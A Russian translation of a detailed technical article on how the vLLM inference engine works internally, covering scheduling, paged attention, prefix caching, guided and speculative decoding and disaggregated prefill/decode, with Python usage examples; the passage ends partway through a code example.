Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9480 / Markets: 114837
Market Cap: $ 3 636 405 650 348 / 24h Vol: $ 110 726 802 101 / BTC Dominance: 58.759561666026%

Н Новости

[Перевод] Внутри vLLM: Анатомия системы инференса LLM с высокой пропускной способностью

Привет! Этот пост — перевод очень хардовой статьи про внутренности vLLM и того, как устроен инференс LLM. Переводить было сложно из-за англицизмов и отсутствия устоявшегося перевода многих терминов, но это слишком классная статья, и она обязана быть на русском языке! А дальше — слово автору:

От paged attention, непрерывного батчинга, кэширования префиксов , specdec и т.д. — до мульти-GPU и мультинодового динамического сервинга LLM под нагрузкой.

В этом посте я постепенно представлю все основные системные компоненты и продвинутые функции, которые составляют современную систему инференса LLM с высокой пропускной способностью. И детально разберу, как внутри работает vLLM.


Этот пост структурирован на пять частей:

  1. Движок LLM и ядро движка: основы движка vLLM (планирование, paged attention, непрерывный батчинг (continuous batching) и другие)

  2. Продвинутые функции: префилл по чанкам (chunked prefill), кэширование префиксов (prefix caching), управляемое и спекулятивное декодирование (guided & speculative decoding), разделённые P/D

  3. Масштабирование: от single-GPU до multi-GPU исполнения

  4. Слой сервинга (Serving layer): распределённая / конкурентная веб-инфраструктура (distributed / concurrent web scaffolding)

  5. Бенчмарки и автотюнинг: измерение задержки (latency) и пропускной способности (throughput)

Примечание

Анализ основан на коммите 42172ad (9 августа 2025 года).
Целевая аудитория: все, кому интересно, как работают современные движки LLM, а также те, кто хочет внести вклад в vLLM, SGLang и другие проекты.

Я сфокусируюсь на движке V1. Я также исследовал V0 (теперь устаревшую), что помогло понять эволюцию проекта — многие концепции по-прежнему применимы.

Первая часть, посвящённая LLM Engine / Engine Core, может показаться немного перегруженной или сухой — но остальная часть блога содержит множество примеров и иллюстраций. 🙂

Движок LLM и ядро движка

Движок LLM — это основополагающий строительный блок vLLM. Сам по себе он уже обеспечивает инференс с высокой пропускной способностью — но только в офлайн-режиме. Использовать его для обслуживания клиентов через веб пока невозможно.

Мы будем использовать следующий фрагмент кода для офлайн-инференса в качестве основного примера (адаптирован из basic.py).

from vllm import LLM, SamplingParams

# Список промптов, которые будут переданы модели
prompts = [
    "Привет, меня зовут",                     
    "Столица России — это",     
]

# Параметры сэмплирования (sampling) для генерации текста
sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

def main():
    # Инициализация модели LLM (в данном случае — TinyLlama)
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    # Генерация ответов для заданных промптов с использованием параметров 
сэмплирования
    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

Переменные окружения:

VLLM_USE_V1="1" # используем движок версии V1
VLLM_ENABLE_V1_MULTIPROCESSING="0" # запускаем в одном процессе

Эта конфигурация:

  • офлайн (без веб/распределенной инфраструктуры)

  • синхронная (все выполняется в одном блокирующем процессе)

  • один GPU (без параллелизма данных/модели/конвейера/экспертов; DP/TP/PP/EP = 1 — где DP = data parallelism, TP = tensor parallelism, PP = pipeline parallelism, EP = expert parallelism)

  • использует стандартный трансформер (поддержка гибридных моделей, таких как Jamba, требует более сложного гибридного аллокатора памяти KV-кэша)

    Далее мы постепенно перейдём к онлайн-асинхронной, мульти-GPU, мультинодовой системе инференса — но по-прежнему для стандартного трансформера.

    В этом примере мы делаем две вещи:

    1. Создаем движок

    2. Вызываем generate для сэмплирования ответов по заданным промптам

Давайте начнем анализировать конструктор.

Конструктор движка LLM

Основные компоненты движка:

  • vLLM конфиг (содержит все настройки для конфигурирования модели, кеша, параллелизма и прочее)

  • процессор (превращает сырые входные данные → EngineCoreRequests через валидацию, токенизацию и обработку)

  • клиент ядра движка (в нашем рабочем примере мы используем InprocClient, который по сути равен EngineCore; далее мы постепенно перейдем к DPLBAsyncMPClient, который позволяет обслуживать систему в масштабе)

  • процессор вывода (преобразует сырые EngineCoreOutputsRequestOutput, который видит пользователь)

С устареванием движка V0 имена классов и детали могут меняться. Я буду подчеркивать основные идеи, а не точные сигнатуры. Я абстрагирую часть деталей, но не все.

Само ядро движка состоит из нескольких подкомпонентов:

  • Исполнитель модели (Model Executor) (выполняет прямые проходы (forward passes) по модели, в настоящее время мы имеем дело с UniProcExecutor, который имеет один процесс воркера на одном GPU). Мы постепенно дойдем до MultiProcExecutor, который поддерживает несколько GPU

  • Менеджер структурированного вывода (Structured Output Manager) (используется для управляемого декодирования (guided decoding) мы рассмотрим это позже)

  • Планировщик (Scheduler) (решает, какие запросы попадут в следующий шаг движка) он дополнительно содержит:

    1. настройку политики (policy setting) — это может быть либо FCFS («первым пришёл, первым обслужен»), либо приоритет (priority) (запросы с более высоким приоритетом обслуживаются первыми)

    2. очереди ожидания и выполнения (waiting и running queues);

    3. менеджер KV-кэша — сердце paged attention

Менеджер KV-кэша поддерживает очередь свободных блоков — free_block_queue, то есть пул доступных блоков KV-кэша (часто их количество достигает сотен тысяч, в зависимости от объёма видеопамяти (VRAM) и размера блока).

Во время paged attention эти блоки служат индексной структурой, которая сопоставляет токены с их соответствующими вычисленными блоками KV-кэша.

Рисунок 1: основные компоненты, описанные в этом разделе, и связи между ними
Рисунок 1: основные компоненты, описанные в этом разделе, и связи между ними

Размер блока (block size) для стандартного слоя трансформера (не MLA) вычисляется следующим образом:

2 (key/value)*block_size*num_kv_heads*head_size *dtype_num_bytes

(где block_sized по умолчанию 16, type_num_bytes- например, 2 для bf16)

Инициализация устройства:

  • Назначить CUDA-устройство (например, "cuda:0") воркеру и проверить, что dtype модели поддерживается (например, bf16)

  • Проверить, что доступно достаточно VRAM, учитывая запрошенную gpu_memory_utilization (утилизацию памяти GPU) (например, 0.8 → 80% от общей VRAM)

  • Настроить распределенные настройки (DP / TP / PP / EP и прочие)

  • Создать объект model_runner (раннер модели) (содержит сэмплер, KV-кэш и буферы прямого прохода (forward-pass), такие как input_ids, positions и т.д.)

  • Создать объект объект InputBatch (батч входных данных) (содержит буферы прямого прохода на стороне CPU, таблицы блоков (block tables) для индексации KV-кэша, метаданные сэмплирования (sampling metadata) и т.д.)

Загрузка модели:

  • Создать архитектуру модели

  • Загрузить веса модели

  • Вызвать model.eval() (режим инференса PyTorch)

  • Опционально: вызвать torch.compile() на модели

Инициализация KV-кэша:

  • Получить спецификацию KV-кэша для каждого слоя. Исторически это всегда было FullAttentionSpec (гомогенный трансформер), но с гибридными моделями (скользящее окно, Transformer/SSM типа Jamba) структура стала более сложной (см. Jenga)

  • Выполнить пробный/профилирующий прямой проход и сделать снимок памяти GPU для вычисления, сколько блоков KV-кэша помещается в доступную VRAM

  • Выделить, изменить форму и связать тензоры KV-кэша со слоями внимания

  • Подготовить метаданные внимания (например, установить бэкенд на FlashAttention), которые затем будут использованы ядрами во время прямого прохода

  • Если не предоставлен --enforce-eager, для каждого из размеров батчей прогрева (warmup) выполнить фиктивный запуск и записать CUDA-графы. CUDA-графы записывают всю последовательность работы GPU в DAG (Directed Acyclic Graph). Позже во время прямого прохода мы запускаем/воспроизводим предварительно подготовленные графы и сокращаем накладные расходы на запуск ядер и таким образом улучшаем задержку (latency)

Я абстрагировался здесь от многих низкоуровневых деталей — но это основные части, которые я представлю сейчас, поскольку буду ссылаться на них неоднократно в следующих секциях.

Теперь, когда у нас инициализирован движок, давайте перейдем к функции generate.

Функция генерации

Первым шагом является валидация и подача запросов в движок. Для каждого промпта мы:

  1. Создаем уникальный ID запроса и фиксируем его время поступления

  2. Вызываем препроцессор входных данных (input preprocessor), который токенизирует промпт и возвращает словарь, содержащий prompt, prompt_token_ids и type (текст, токены, эмбеддинги и т.д.)

  3. Упаковываем эту информацию в EngineCoreRequest, добавляя приоритет, параметры сэмплирования и другие метаданные

  4. Передаем запрос в ядро движка, которое оборачивает его в объект Request и устанавливает его статус в WAITING. Этот запрос затем добавляется в очередь ожидания планировщика (для FCFS добавляется в конец и heap-push для приоритета)

На этом этапе движок загружен и исполнение может начаться. В примере синхронного движка эти начальные промпты — единственные, которые мы будем обрабатывать — нет механизма для внедрения новых запросов во время выполнения. В отличие от этого, асинхронный движок поддерживает такую возможность (так называемый continuous batching): после каждого шага учитываются как новые, так и старые запросы.

Поскольку прямой проход сглаживает (flattens) батч в одну последовательность, а пользовательские ядра (custom kernels) обрабатывают это эффективно, непрерывный батчинг фундаментально поддерживается даже в синхронном движке.

Далее, пока есть запросы для обработки, движок повторно вызывает свою функцию step(). Каждый шаг имеет три стадии:

  1. Планирование: выбрать, какие запросы выполнять на этом шаге (декодирование и/или префилл по чанкам (chunked prefill))

  2. Прямой проход : запустить модель и сэмплировать токены

  3. Постобработка (Postprocess): добавить сэмплированные ID токенов к каждому Request, детокенизировать и проверить условия остановки. Если запрос завершен, очистить (например, вернуть его блоки KV-кэша в free_block_queue) и вернуть вывод досрочно

Условия остановки:

  • Запрос превышает свой лимит длины (max_model_length (максимальная длина модели) или собственный max_tokens (максимальное количество токенов))

  • Сэмплированный токен является ID конца последовательности (EOS ID) (если только не включен ignore_eos (игнорировать EOS) -> полезно для бенчмаркинга, когда мы хотим принудительно сгенерировать определенное количество выходных токенов)

  • Сэмплированный токен совпадает с любым из stop_token_ids (ID токенов остановки), указанных в параметрах сэмплирования

  • Строки остановки (stop strings) присутствуют в выводе - мы обрезаем вывод до первого появления строки остановки и прерываем запрос в движке (обратите внимание, что stop_token_ids будут присутствовать в выводе, но строки остановки не будут)

Рисунок 2: Цикл движка
Рисунок 2: Цикл движка

В потоковом режиме (streaming mode) мы бы отправляли промежуточные токены по мере их генерации, но пока что это проигнорируем.

Далее рассмотрим планирование более детально.

Планировщик

Существует два основных типа рабочих нагрузок, которые обрабатывает движок инференса:

  1. Запросы префилла — прямой проход по всем токенам промпта. Они обычно ограничены вычислениями (compute-bound) и их порог зависит от аппаратного обеспечения и длины промпта. В конце мы сэмплируем один токен из распределения вероятностей позиции финального токена

  2. Запросы декодирования — прямой проход только по самому последнему токену. Все предыдущие KV-векторы уже закешированы. Они ограничены пропускной способностью памяти (memory-bandwidth-bound), поскольку нам всё ещё нужно загружать все веса LLM (и KV-кэши) только для вычисления одного токена

В секции бенчмаркинга мы проанализируем так называемую roofline-модель (roofline model) производительности GPU. Там мы более детально рассмотрим профили производительности префилла/декодирования.

Планировщик V1 может смешивать оба типа запросов на одном шаге благодаря более умным проектным решениям. В отличие от него, движок V0 мог обрабатывать только либо префилл, либо декодирование за раз.

Планировщик приоритизирует запросы декодирования — т.е. те, что уже находятся в очереди выполнения. Для каждого такого запроса он:

  1. Вычисляет количество новых токенов для генерации (не всегда 1, из-за спекулятивного декодирования (speculative decoding) и асинхронного планирования — подробнее об этом позже)

  2. Вызывает функцию allocate_slots (выделения слотов) менеджера KV-кэша (детали ниже)

  3. Обновляет бюджет токенов, вычитая количество токенов из шага 1

После этого он обрабатывает запросы префилла из очереди ожидания:

  1. Получает количество вычисленных блоков (возвращает 0, если кеширование префиксов отключено — мы рассмотрим это позже)

  2. Вызывает функцию allocate_slots менеджера KV-кэша

  3. Извлекает запрос из очереди ожидания и перемещает его в очередь выполнения, устанавливая его статус в RUNNING (выполняется)

  4. Обновляет бюджет токенов

Теперь давайте посмотрим, что делает allocate_slots:

  1. Вычисляет количество блоков — определяет, сколько новых блоков KV-кэша (n) должно быть выделено. Каждый блок хранит 16 токенов по умолчанию. Например, если запрос префилла имеет 17 новых токенов, нам нужно ceil(17/16) = 2 блока

  2. Проверяет доступность — если в пуле менеджера недостаточно блоков, выходит досрочно. В зависимости от того, является ли это запросом декодирования или префилла, движок может попытаться выполнить вытеснение через перевычисление (recompute preemption) (вытеснение через своп (swap preemption) поддерживалось в V0) путём вытеснения запросов с низким приоритетом (вызывая kv_cache_manager.free, которая возвращает блоки KV в пул блоков), или он может пропустить планирование и продолжить исполнение

  3. Выделяет блоки — через координатор менеджера KV-кэша извлекает первые n блоков из пула блоков (двусвязный список free_block_queue, упомянутый ранее). Сохраняет в req_to_blocks — словарь, отображающий каждый request_id (ID запроса) на его список блоков KV-кэша

Рисунок 3: список блоков KV-кэша
Рисунок 3: список блоков KV-кэша

Мы наконец готовы выполнить прямой проход!

Запуск прямого прохода (forward pass)

Мы вызываем execute_model исполнителя модели (model executor), который делегирует задачу Worker, а тот, в свою очередь, делегирует её model_runner.

Вот основные шаги:

  1. Обновление состояний — удалить завершенные запросы из input_batch; обновить различные метаданные, связанные с прямым проходом (например, блоки KV-кэша на запрос, которые будут использоваться для индексации в память paged KV-кэша)

  2. Подготовка входных данных — копировать буферы из CPU→GPU; вычислить позиции; построить slot_mapping (отображение слотов) (подробнее об этом в примере); сконструировать метаданные внимания (attention metadata)

  3. Прямой проход — запустить модель с пользовательскими ядрами paged attention. Все последовательности сглаживаются и конкатенируются в одну длинную «суперпоследовательность». Индексы позиций и маски внимания гарантируют, что каждая последовательность обращает внимание только на свои собственные токены, что позволяет непрерывный батчинг без выравнивания справа (right-padding)

  4. Сбор состояний последнего токена — извлечь скрытые состояния (hidden states) для финальной позиции каждой последовательности и вычислить логиты

  5. Сэмплирование — сэмплировать токены из вычисленных логитов, как указано в конфигурации сэмплирования (жадное, temperature, top-p, top-k и т.д.)

Сам шаг прямого прохода имеет два режима исполнения:

  1. Режим eager — запустить стандартный прямой проход PyTorch, когда включено немедленное исполнение

  2. Режим «захвата» (Captured) — исполнить/воспроизвести предварительно захваченный CUDA-граф, когда eager не принудительно включен (помните, мы захватили их во время конструирования движка в процедуре инициализации KV-кэша)

Вот конкретный пример, который должен прояснить непрерывный батчинг и paged attention:

21eab4d59e6930d218f0b14e387d4d93.png

Продвинутые функции — расширение логики ядра движка

Имея базовый flow движка, мы можем рассмотреть продвинутые функции.

Мы уже обсудили вытеснение (preemption), paged attention и непрерывный батчинг.

Далее погрузимся вот во что:

  1. Префилл по чанкам

  2. Кеширование префиксов

  3. Управляемое декодирование (через конечные автоматы, ограниченные грамматикой (grammar-constrained finite-state machines))

  4. Спекулятивное декодирование (Speculative decoding)

  5. Разделенные P/D (Disaggregated prefill/decoding)

Префилл по чанкам (Chunked prefill)

Префилл по чанкам — это техника для обработки длинных промптов путем разделения их шага префилла на меньшие чанки. Без нее мы могли бы получить один очень длинный запрос, монополизирующий один шаг движка, блокируя выполнение других запросов префилла. Это бы отложило все другие запросы и увеличило бы их задержку.

Например, пусть каждый чанк содержит n (=8) токенов, обозначенных строчными буквами, разделенными «-». Длинный промпт P может выглядеть как x-y-z, где z — неполный чанк (например, 2 токена). Выполнение полного префилла для P тогда займёт ≥ 3 шагов движка (больше может произойти, если он не запланирован для выполнения на одном из шагов), и только на последнем шаге префилла по чанкам мы сэмплируем один новый токен.

Вот тот же пример визуально:

Рисунок 5: Префилл по чанкам
Рисунок 5: Префилл по чанкам

Реализация проста: ограничить количество новых токенов на шаг. Если запрошенное количество превышает long_prefill_token_threshold (порог длинного префилла), установить его точно на это значение. Базовая логика индексации (описанная ранее) позаботится об остальном.

В vLLM V1 вы включаете префилл по чанкам, устанавливая long_prefill_token_threshold в положительное целое число. (технически это может произойти независимо от этого, если длина промпта превышает бюджет токенов, мы обрезаем его и запускаем префилл по чанкам)

Кеширование префиксов (Prefix caching)

Чтобы объяснить, как работает кеширование префиксов, давайте возьмём исходный пример кода и немного изменим его:

from vllm import LLM, SamplingParams

long_prefix = "<фрагмент текста, который кодируется в больше, чем block_size токенов>"

prompts = [
    "Привет, меня зовут",                     
    "Столица России — это",     
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(long_prefix + prompts[0], sampling_params)
    outputs = llm.generate(long_prefix + prompts[1], sampling_params)

if __name__ == "__main__":
    main()

Кеширование префиксов позволяет избежать перевычисления токенов, которые несколько промптов разделяют в начале - отсюда префикс.

Ключевой элемент — это long_prefix (длинный префикс): он определяется как любой префикс длиннее блока KV-кэша (16 токенов по умолчанию). Чтобы упростить наш пример, скажем, что long_prefix имеет ровно длину n x block_size (размер блока) (где n ≥ 1).

т.е. он идеально выравнивается с границей блока — иначе нам пришлось бы перевычислять long_prefix_len % block_size токенов, так как мы не можем кешировать неполные блоки

Без кеширования префиксов каждый раз, когда мы обрабатываем новый запрос с тем же long_prefix, мы бы перевычисляли все n x block_size токенов.

С кешированием префиксов эти токены вычисляются один раз (их KV сохраняются в страничной памяти KV-кэша) и затем переиспользуются, так что только новые токены промпта требуют обработки. Это ускоряет запросы префилла (хотя это не помогает с декодированием).

Как это работает в vLLM?

Во время первого вызова generate, на стадии планирования, внутри kv_cache_manager.get_computed_blocks, движок вызывает hash_request_tokens:

  1. Эта функция разделяет long_prefix + prompts[0] на чанки из 16 токенов

  2. Для каждого полного чанка она вычисляет хеш (используя либо встроенный хеш, либо SHA-256, который медленнее, но имеет меньше коллизий). Хеш объединяет хеш предыдущего блока, текущие токены и опциональные метаданные

опциональные метаданные включают: MM hash, LoRA ID, cache salt (внедряется в хеш первого блока, гарантирует, что только запросы с этой солью кеша могут переиспользовать блоки)

Каждый результат сохраняется как объект BlockHash, содержащий как хэш, так и соответствующие token IDs. Возвращается список блок-хэшей.
Список сохраняется в self.req_to_block_hashes[request_id].

Далее движок вызывает find_longest_cache_hit, чтобы проверить, существуют ли уже эти хэши в cached_block_hash_to_block. Для первого запроса совпадений не находится.

Рисунок 6: Кэширование префиксов — функция хэширования
Рисунок 6: Кэширование префиксов — функция хэширования

Затем мы вызываем allocate_slots, который в свою очередь вызывает coordinator.cache_blocks, связывая новые записи BlockHash с выделенными блоками KV и фиксируя их в cached_block_hash_to_block.

После этого прямой проход заполнит KVs в памяти paged KV cache, соответствующей блокам KV, которые мы выделили выше.

После нескольких шагов работы движка будут выделены дополнительные блоки KV-кэша, но для нашего примера это не имеет значения, так как префикс расходится сразу после long_prefix

Рисунок 7: Кэширование префиксов — заполнение KVs в памяти с разбивкой на страницы (paged memory)
Рисунок 7: Кэширование префиксов — заполнение KVs в памяти с разбивкой на страницы (paged memory)

При втором вызове generate с тем же префиксом шаги 1–3 повторяются, но теперь find_longest_cache_hit находит совпадения для всех n блоков (через линейный поиск). Движок может напрямую повторно использовать эти блоки KV.

Рисунок 8: Кэширование префиксов  — повторное использование KVs
Рисунок 8: Кэширование префиксов — повторное использование KVs

Если бы исходный запрос все еще был активен, счётчик ссылок для этих блоков увеличился бы (например, до 2). В этом примере первый запрос уже завершeн, поэтому блоки были возвращены в пул, а их счeтчики ссылок сброшены обратно в 0. Поскольку мы смогли получить их из cached_block_hash_to_block, мы знаем, что они валидны (логика менеджера KV-кэша устроена именно так), и поэтому просто снова удаляем их из free_block_queue.

Блоки KV-кэша становятся недействительными только в тот момент, когда они собираются быть перераспределены из free_block_queue (которая извлекает элементы слева) и мы обнаруживаем, что блок всё ещё имеет связанный хэш и присутствует в cached_block_hash_to_block. В этот момент мы очищаем хэш блока и удаляем его запись из cached_block_hash_to_block, гарантируя, что блок не сможет быть повторно использован через prefix caching (по крайней мере для старого префикса).

И вот суть prefix caching: не нужно повторно вычислять префиксы, которые вы уже видели — просто повторно используйте их KV-кэш!

Если вы поняли этот пример, вы также поняли, как работает paged attention.

Prefix caching включено по умолчанию. Чтобы отключить его: enable_prefix_caching = False.

Управляемое декодирование через конечные автоматы (FSM)

Управляемое декодирование — это техника, при которой на каждом шаге декодирования логиты ограничиваются конечным автоматом на основе грамматики. Это гарантирует, что могут быть сэмплированы только токены, разрешeнные грамматикой.

Это мощная настройка: вы можете применять что угодно — от регулярных грамматик (тип-3 по Хомскому, например, произвольные паттерны regex) вплоть до контекстно-свободных грамматик (тип-2, которые охватывают большинство языков программирования).

Чтобы сделать это менее абстрактным, давайте начнем с простейшего возможного примера, основываясь на нашем предыдущем коде:

from vllm import LLM, SamplingParams
from vllm.sampling_params import GuidedDecodingParams

prompts = [
    "Полный отстой",
    "Погодка сегодня прекрасная",
]

guided_decoding_params = GuidedDecodingParams(choice=["Positive", "Negative"])
sampling_params = SamplingParams(guided_decoding=guided_decoding_params)

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0")

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

Представим игрушечный пример (предположим токенизацию на уровне символов): на префилле FSM маскирует логиты, так что только «P» или «N» возможны. Если сэмплируется «P», FSM переходит к ветке «Positive»; на следующем шаге разрешена только «o», и так далее.

Рисунок 9: Игрушечный пример конечного автомата (FSM)
Рисунок 9: Игрушечный пример конечного автомата (FSM)

Как это работает в vLLM:

  1. При конструировании движка LLM создаётся StructuredOutputManager (менеджер структурированного вывода); он имеет доступ к токенизатору и поддерживает тензор grammarbitmask (битовой маски грамматики)

  2. При добавлении запроса его статус устанавливается в WAITING_FOR_FSM (ожидание FSM), и grammar_init выбирает компилятор бэкенда (например, xgrammar; обратите внимание, что бэкенды — это сторонний код)

  3. Грамматика для этого запроса компилируется асинхронно

  4. Во время планирования, если асинхронная компиляция завершена, статус переключается на WAITING (ожидание), и request_id добавляется в structured_output_request_ids (ID запросов структурированного вывода); иначе он помещается в skipped_waiting_requests (пропущенные ожидающие запросы) для повторной попытки на следующем шаге движка

  5. После цикла планирования (всe ещe внутри планирования), если есть FSM-запросы, StructuredOutputManager просит бэкенд подготовить/обновить grammarbitmask

  6. После того как прямой проход производит логиты, функция xgr_torch_compile расширяет битовую маску до размера словаря (коэффициент расширения 32x, потому что мы используем 32-битные целые числа) и маскирует недопустимые логиты до –∞

  7. После сэмплирования следующего токена FSM запроса продвигается через accept_tokens (принять токены). Визуально мы переходим к следующему состоянию на диаграмме FSM

Шаг 6 заслуживает дальнейших пояснений.

Если vocab_size = 32 (размер словаря), grammarbitmask — это одно целое число; его двоичное представление кодирует, какие токены разрешены («1») против недопустимых («0»). Например, «101…001» расширяется в массив длиной 32 [1, 0, 1, ..., 0, 0, 1]; позиции с 0 получают логиты, установленные в –∞. Для больших словарей используются несколько 32-битных слов и соответственно расширяются/конкатенируются. Бэкенд (например, xgrammar) отвечает за создание этих битовых паттернов, используя текущее состояние конечного автомата (FSM).

Большая часть сложности здесь скрыта в сторонних библиотеках, таких как xgrammar

Вот ещё более простой пример с vocab_size = 8 (размер словаря) и 8-битными целыми числами (для тех из вас, кто любит визуализации):

Рисунок 9: Игрушечный пример
Рисунок 9: Игрушечный пример

Вы можете включить это в vLLM, передав желаемый конфиг guided_decoding.

Спекулятивное декодирование (Speculative Decoding)

При авторегрессивной генерации для получения каждого нового токена требуется прямой проход через большую языковую модель. Это дорогая операция — на каждом шаге приходится загружать и применять все веса модели только для вычисления одного токена! (при размере батча == 1, в общем случае это B)

Спекулятивное декодирование решает эту проблему, используя дополнительную маленькую драфт-модель (draft model). Драфт-модель быстро предлагает k токенов-кандидатов. Но окончательное решение всe равно принимает большая модель — маленькая только предсказывает возможные продолжения. Это гарантирует качество генерации большой модели при меньших затратах.

Алгоритм работает так:

  1. Драфт: маленькая модель обрабатывает текущий контекст и предлагает k токенов

  2. Верификация: большая модель делает один проход по контексту вместе с k драфт-токенами. Получаем вероятности для этих k позиций плюс ещё одна дополнительная (итого k+1 кандидат)

  3. Принятие/отклонение: проверяем k драфт-токенов слева направо:

    • Если вероятность токена по большой модели ≥ вероятности по драфт-модели, принимаем его

    • Иначе принимаем с вероятностью p_large(token)/p_draft(token)

    • Останавливаемся при первом отклонении, либо принимаем все k токенов

    • Если приняли все k драфт-токенов, дополнительно «бесплатно» сэмплируем (k+1)-й токен из большой модели (распределение уже вычислено)

    • При отклонении создаeм новое ребалансированное распределение в этой позиции (p_large - p_draft, обрезаем отрицательные значения, нормализуем) и сэмплируем из него

Почему это работает: правило принятия/отклонения математически гарантирует, что результирующее распределение последовательности совпадает с тем, как если бы мы генерировали токены один за другим только большой моделью. Спекулятивное декодирование статистически эквивалентно обычному авторегрессивному декодированию, но потенциально намного быстрее — один проход большой модели может дать до k+1 токенов.

Рекомендую посмотреть на gpt-fast для простой реализации, и оригинальную статью для математических деталей и доказательства эквивалентности сэмплированию из полной модели.

vLLM V1 не поддерживает метод LLM драфт-модели, вместо этого он реализует более быстрые — но менее точные — схемы предложения токенов: n-грамма (n-gram), EAGLE и Medusa.

Краткое описание каждого:

  • n-грамма: взять последние prompt_lookup_max (максимальное окно поиска в промпте) токенов; найти предыдущее совпадение в последовательности; если найдено, предложить k токенов, которые следовали за этим совпадением; иначе уменьшить окно и повторить попытку до prompt_lookup_min (минимальное окно поиска)

Текущая реализация возвращает k токенов после первого совпадения. Кажется более естественным ввести смещение в пользу недавних совпадений и развернуть направление поиска? (т.е. последнее совпадение)

  • Eagle: выполнить «хирургию модели» (model surgery) на большой LM — сохранить эмбеддинги и голову языковой модели (LM head), заменить стек трансформера на лeгкий MLP; дообучить это как дешёвый драфт

  • Medusa: обучить вспомогательные линейные головы (auxiliary linear heads) поверх (эмбеддинги перед головой LM) большой модели для параллельного предсказания следующих k токенов; использовать эти головы для более эффективного предложения токенов, чем запуск отдельной маленькой LM

Вот как вызвать спекулятивное декодирование в vLLM, используя ngram в качестве метода драфта:

from vllm import LLM, SamplingParams

prompts = [
    "Привет, меня зовут",                     
    "Столица России — это",     
]

sampling_params = SamplingParams(temperature=0.8, top_p=0.95)

speculative_config={
    "method": "ngram",
    "prompt_lookup_max": 5,
    "prompt_lookup_min": 3,
    "num_speculative_tokens": 3,
}

def main():
    llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", speculative_config=speculative_config)

    outputs = llm.generate(prompts, sampling_params)

if __name__ == "__main__":
    main()

Как это работает в vLLM?

Настройка (во время конструирования движка):

  1. Инициализация устройства: создать drafter (драфтер, драфт-модель, например, NgramProposer) и rejection_sampler (сэмплер отклонения) (части его написаны на Triton).

  2. Загрузка модели: загрузить веса драфт-модели (пустая операция для n-граммы)

После этого в функции generate (предположим, мы получаем совершенно новый запрос):

  1. Выполнить обычный шаг префилла с большой моделью.

  2. После прямого прохода и стандартного сэмплирования вызвать propose_draft_token_ids(k) (предложить ID драфт-токенов) для сэмплирования k драфт-токенов из драфт-модели

  3. Сохранить их в request.spec_token_ids (ID спекулятивных токенов запроса) (обновить метаданные запроса)

  4. На следующем шаге движка, когда запрос находится в очереди выполнения, добавить len(request.spec_token_ids) к счётчику «новых токенов», чтобы allocate_slots зарезервировала достаточно блоков KV для прямого прохода

  5. Скопировать spec_token_ids в input_batch.token_ids_cpu (ID токенов батча входных данных на CPU) для формирования токенов (контекст + драфт)

  6. Вычислить метаданные через calcspec_decode_metadata (это копирует токены из input_batch.token_ids_cpu, подготавливает логиты и т.д.), затем запустить прямой проход большой модели по драфт-токенам

  7. Вместо обычного сэмплирования из логитов использовать rejection_sampler для принятия/отклонения слева направо и производства output_token_ids (ID выходных токенов)

  8. Повторить шаги 2-7 до тех пор, пока не будет выполнено условие остановки

Лучший способ усвоить это — запустить отладчик и пройтись по кодовой базе, но эта секция, надеюсь, дает представление об этом. Это тоже:

f316d98a47974ea8aa1dde2ac2fafaeb.pngРисунок 11: Спекулятивное декодирование
Рисунок 11: Спекулятивное декодирование

Разделенные P/D (Disaggregated prefill/decode)

Я уже ранее намекал на мотивацию разделенных P/D (префилл/декодирование).

Префилл и декодирование имеют очень разные профили производительности (ограничены вычислениями против ограничены пропускной способностью памяти), поэтому разделение их исполнения — разумное проектное решение. Это даёт более жeсткий контроль над задержкой — как TFTT (time-to-first-token, время до первого токена), так и ITL (inter-token latency, задержка между токенами) — подробнее об этом в секции бенчмаркинга.

На практике мы запускаем N инстансов vLLM для префилла и M инстансов vLLM для декодирования, автоматически масштабируя их на основе актуального микса запросов. Воркеры префилла записывают KV в выделенный сервис KV-кэша; воркеры декодирования читают из него. Это изолирует длинный, пульсирующий префилл от стабильного, чувствительного к задержке декодирования.

Как это работает в vLLM?

Для ясности пример ниже опирается на SharedStorageConnector, отладочную реализацию коннектора (connector) , используемую для иллюстрации механики.

Коннектор — это абстракция vLLM для обработки обмена KV между инстансами. Интерфейс коннектора ещe не стабилен, запланированы некоторые краткосрочные улучшения, которые повлекут изменения, некоторые потенциально ломающие (breaking).

Мы запускаем 2 инстанса vLLM (GPU 0 для префилла и GPU 1 для декодирования), а затем передаeм KV-кэш между ними:

import os
import time
from multiprocessing import Event, Process
import multiprocessing as mp

from vllm import LLM, SamplingParams
from vllm.config import KVTransferConfig

prompts = [
    "Привет, меня зовут",                     
    "Столица России — это",     
]

def run_prefill(prefill_done):
  os.environ["CUDA_VISIBLE_DEVICES"] = "0"

  sampling_params = SamplingParams(temperature=0, top_p=0.95, max_tokens=1)

  ktc=KVTransferConfig(
      kv_connector="SharedStorageConnector",
      kv_role="kv_both",
      kv_connector_extra_config={"shared_storage_path": "local_storage"},
  )

  llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", kv_transfer_config=ktc)
  llm.generate(prompts, sampling_params)

  prefill_done.set()  # уведомить инстанс декодирования, что KV-кэш готов

  # Чтобы поддерживать ноду префилла работающим в случае, если нода декодирования ещё не завершён;
  # иначе скрипт может завершиться преждевременно, вызывая неполное декодирование
  try:
      while True:
          time.sleep(1)
  except KeyboardInterrupt:
      print("Скрипт остановлен пользователем")

def run_decode(prefill_done):
  os.environ["CUDA_VISIBLE_DEVICES"] = "1"

  sampling_params = SamplingParams(temperature=0, top_p=0.95)

  ktc=KVTransferConfig(
      kv_connector="SharedStorageConnector",
      kv_role="kv_both",
      kv_connector_extra_config={"shared_storage_path": "local_storage"},
  )

  llm = LLM(model="TinyLlama/TinyLlama-1.1B-Chat-v1.0", kv_transfer_config=ktc)

  prefill_done.wait()  # блокировать, ожидая KV-кэш от инстанса префилла

